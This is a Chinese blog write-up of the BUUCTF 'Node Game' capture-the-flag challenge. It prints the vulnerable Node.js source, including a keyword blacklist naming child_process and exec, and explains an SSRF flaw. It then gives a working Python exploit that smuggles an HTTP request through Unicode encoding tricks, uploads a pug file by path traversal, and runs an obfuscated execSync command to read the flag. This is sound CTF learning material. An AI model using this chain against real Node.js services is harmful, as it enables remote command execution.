BUUCTF WEB Node Game

本文详细分析了一段Node.js代码,涉及文件上传、模板渲染和SSRF漏洞。代码中存在对特定IP的限制,但可通过构造特殊的Unicode字符绕过,实现流量走私,进而访问内网资源。作者分享了payload构造过程,利用了编码错误和目录穿越,最终达到执行内网命令的目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

之前没学过node代码,这题上来给了源码,先简单过一遍源码

//调用若干系统模块
//express用于构建web app应用
var express = require('express');
var app = express();
//filesystem
var fs = require('fs');
//用于处理文件/目录路径的一个内置模块
var path = require('path');
//用于创建一个web服务器实例
var http = require('http');
//模板引擎模块
var pug = require('pug');
//日志模块
var morgan = require('morgan');
//用于处理文件上传 multipart/form-data数据的中间件
const multer = require('multer');

//路由处理逻辑
//原型:multer(options).array(fieldname[,maxCount]),dist代表存储路径,file代表文件数组的名字
app.use(multer({dest: './dist'}).array('file'));,
//短日志格式
app.use(morgan('short'));
//将uploads目录下的文件对外开放
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
//将template目录下的文件对外开放
app.use("/template",express.static(path.join(__dirname, '/template')))

//过滤action中的/和\,并渲染file文件
app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});
//post文件上传逻辑
app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})
//查看源码逻辑
app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});

//url过滤的主逻辑
app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) =&gt; {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})
//过滤了若干关键字
function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i &lt; arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}
//起一个app应用服务
var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

代码过完,发现有文件上传和模板渲染两个点,是这个思路没错了,首先action参数是我们自己带过去的,由前面的逻辑我们可以知道当调用/?action=xx的时候
他会去渲染/template/xx.pug文件,因此回显的方式我们找到了,利用思路也有了,无非是在文件中进行命令执行,然后renderFile在调用的时候去给出结果
这样看来还是一个SSTI题,关键就在如何写文件内容的时候犯难了,因为POST的时候提示只有admin可以访问,最简单的思路是直接POST加上X-Forwarded-For之类的头
但是很不幸,并不行,在查阅了相关资料后发现这题的主要利用方式是SSRF,过的就是这个 if (!ip.includes(‘127.0.0.1’)),其实就是一个流量走私的过程
具体的利用细节在https://blog.youkuaiyun.com/weixin_46081055/article/details/119982707?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165284436116781483758053%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165284436116781483758053&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-119982707-null-null.142^v10^pc_search_result_control_group,157^v4^control&utm_term=Node+Game&spm=1018.2226.3001.4187,编码错误加流量走私,这不就有了吗。
简单来说就是由于编码错误导致了原本是一个包的内容由于编码错误的原因被处理了两个包,第二个包由于接着第一个包,导致HOST为127.0.0.1,也就是能访问到内网资源了
至于为什么不直接流量走私呢。。。。因为如文章里所讲,node.js也是有防护机制的,不可能说让你随意构造的
啊到这思路就是全了,下面就是怎么构造了,如文章里所讲,需要通过特意构造好的Unicode字符去欺骗node.js,至于这些字符是怎么选出来的,本菜鸡还真不知道,有懂得师傅能在评论区或者私信教教我
直接放别的大佬的payload:
源地址:https://blog.youkuaiyun.com/fmyyy1/article/details/117391355?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165284436116781483758053%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165284436116781483758053&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-117391355-null-null.142^v10^pc_search_result_control_group,157^v4^control&utm_term=Node+Game&spm=1018.2226.3001.4187

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'
print(payload)
requests.get(
    'http://e84a5d77-ecb6-4018-a5b2-a6153b72aee0.node4.buuoj.cn:81/core?q=' + payload)

print(requests.get(
    'http://e84a5d77-ecb6-4018-a5b2-a6153b72aee0.node4.buuoj.cn:81/?action=lethe').text)

利用了core方法进行走私,具体利用replace进行各种编码,利用nodejs latin1的编码漏洞,上传lethe.pug文件,利用 …/template进行目录穿越
上传成功后再利用lethe进行文件包含

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值